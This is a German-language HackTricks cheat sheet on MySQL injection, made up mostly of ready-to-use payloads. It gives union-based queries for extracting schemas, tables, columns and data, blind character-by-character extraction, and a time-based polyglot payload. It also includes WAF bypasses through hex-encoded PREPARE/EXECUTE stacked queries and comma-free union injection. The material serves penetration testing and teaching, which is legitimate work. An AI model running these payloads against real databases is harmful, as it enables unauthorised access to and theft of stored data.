# MySQL-Injektion {{#include ../../../banners/hacktricks-training.md}} ## Kommentare ```sql -- MYSQL Comment # MYSQL Comment /* MYSQL Comment */ /*! MYSQL Special SQL */ /*!32302 10*/ Comment for MySQL version 3.23.02 ``` ## Interessante Funktionen ### Bestätigen Mysql: ``` concat('a','b') database() version() user() system_user() @@version @@datadir rand() floor(2.9) length(1) count(1) ``` ### Nützliche Funktionen ```sql SELECT hex(database()) SELECT conv(hex(database()),16,10) # Hexadecimal -> Decimal SELECT DECODE(ENCODE('cleartext', 'PWD'), 'PWD')# Encode() & decpde() returns only numbers SELECT uncompress(compress(database())) #Compress & uncompress() returns only numbers SELECT replace(database(),"r","R") SELECT substr(database(),1,1)='r' SELECT substring(database(),1,1)=0x72 SELECT ascii(substring(database(),1,1))=114 SELECT database()=char(114,101,120,116,101,115,116,101,114) SELECT group_concat() FROM SELECT group_concat(if(strcmp(table_schema,database()),table_name,null)) SELECT group_concat(CASE(table_schema)When(database())Then(table_name)END) strcmp(),mid(),,ldap(),rdap(),left(),rigth(),instr(),sleep() ``` ## Alle Injektionen ```sql SELECT * FROM some_table WHERE double_quotes = "IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(1))/*'XOR(IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(1)))OR'|"XOR(IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(1)))OR"*/" ``` ## Flow Denken Sie daran, dass Sie in "modernen" Versionen von **MySQL** "_**information_schema.tables**_" durch "_**mysql.innodb_table_stats**_" ersetzen können (dies könnte nützlich sein, um WAFs zu umgehen). ```sql SELECT table_name FROM information_schema.tables WHERE table_schema=database();#Get name of the tables SELECT column_name FROM information_schema.columns WHERE table_name=""; #Get name of the columns of the table SELECT , FROM ; #Get values SELECT user FROM mysql.user WHERE file_priv='Y'; #Users with file privileges ``` ### **Nur 1 Wert** - `group_concat()` - `Limit X,1` ### **Blind eins nach dem anderen** - `substr(version(),X,1)='r'` oder `substring(version(),X,1)=0x70` oder `ascii(substr(version(),X,1))=112` - `mid(version(),X,1)='5'` ### **Blind hinzufügen** - `LPAD(version(),1...lenght(version()),'1')='asd'...` - `RPAD(version(),1...lenght(version()),'1')='asd'...` - `SELECT RIGHT(version(),1...lenght(version()))='asd'...` - `SELECT LEFT(version(),1...lenght(version()))='asd'...` - `SELECT INSTR('foobarbar', 'fo...')=1` ## Anzahl der Spalten erkennen Verwendung einer einfachen ORDER ``` order by 1 order by 2 order by 3 ... order by XXX UniOn SeLect 1 UniOn SeLect 1,2 UniOn SeLect 1,2,3 ... ``` ## MySQL Union-basiert ```sql UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,schema_name,0x7c)+fRoM+information_schema.schemata UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,table_name,0x7C)+fRoM+information_schema.tables+wHeRe+table_schema=... UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,column_name,0x7C)+fRoM+information_schema.columns+wHeRe+table_name=... UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,data,0x7C)+fRoM+... ``` ## SSRF **Lernen Sie hier verschiedene Optionen, um** [**eine Mysql-Injection auszunutzen, um eine SSRF zu erhalten**](mysql-ssrf.md)**.** ## WAF-Bypass-Tricks ### Ausführen von Abfragen über vorbereitete Anweisungen Wenn gestapelte Abfragen erlaubt sind, kann es möglich sein, WAFs zu umgehen, indem man einer Variablen die hexadezimale Darstellung der Abfrage zuweist, die man ausführen möchte (indem man SET verwendet), und dann die MySQL-Anweisungen PREPARE und EXECUTE verwendet, um letztendlich die Abfrage auszuführen. Etwas wie dies: ``` 0); SET @query = 0x53454c45435420534c454550283129; PREPARE stmt FROM @query; EXECUTE stmt; # ``` Für weitere Informationen siehe [diesen Blogbeitrag](https://karmainsecurity.com/impresscms-from-unauthenticated-sqli-to-rce). ### Information_schema Alternativen Denke daran, dass du in "modernen" Versionen von **MySQL** _**information_schema.tables**_ durch _**mysql.innodb_table_stats**_ oder _**sys.x$schema_flattened_keys**_ oder **sys.schema_table_statistics** ersetzen kannst. ### MySQLinjection ohne KOMMA Wähle 2 Spalten ohne Verwendung eines Kommas ([https://security.stackexchange.com/questions/118332/how-make-sql-select-query-without-comma](https://security.stackexchange.com/questions/118332/how-make-sql-select-query-without-comma)): ``` -1' union select * from (select 1)UT1 JOIN (SELECT table_name FROM mysql.innodb_table_stats)UT2 on 1=1# ``` ### Abrufen von Werten ohne den Spaltennamen Wenn Sie zu einem bestimmten Zeitpunkt den Namen der Tabelle kennen, aber die Namen der Spalten in der Tabelle nicht kennen, können Sie versuchen herauszufinden, wie viele Spalten vorhanden sind, indem Sie etwas wie Folgendes ausführen: ```bash # When a True is returned, you have found the number of columns select (select "", "") = (SELECT * from demo limit 1); # 2columns select (select "", "", "") < (SELECT * from demo limit 1); # 3columns ``` Angenommen, es gibt 2 Spalten (wobei die erste die ID ist) und die andere die Flagge, können Sie versuchen, den Inhalt der Flagge durch Brute-Force zu entschlüsseln, indem Sie Zeichen für Zeichen ausprobieren: ```bash # When True, you found the correct char and can start ruteforcing the next position select (select 1, 'flaf') = (SELECT * from demo limit 1); ``` Mehr Informationen unter [https://medium.com/@terjanq/blind-sql-injection-without-an-in-1e14ba1d4952](https://medium.com/@terjanq/blind-sql-injection-without-an-in-1e14ba1d4952) ### MySQL-Historie Sie können andere Ausführungen innerhalb von MySQL sehen, indem Sie die Tabelle: **sys.x$statement_analysis** lesen. ### Versionsalternativen**n** ``` mysql> select @@innodb_version; mysql> select @@version; mysql> select version(); ``` ## Weitere MYSQL-Injektionsanleitungen - [https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/MySQL%20Injection.md](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/MySQL%20Injection.md) ## Referenzen - [https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/MySQL%20Injection.md](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/MySQL%20Injection.md) {{#include ../../../banners/hacktricks-training.md}}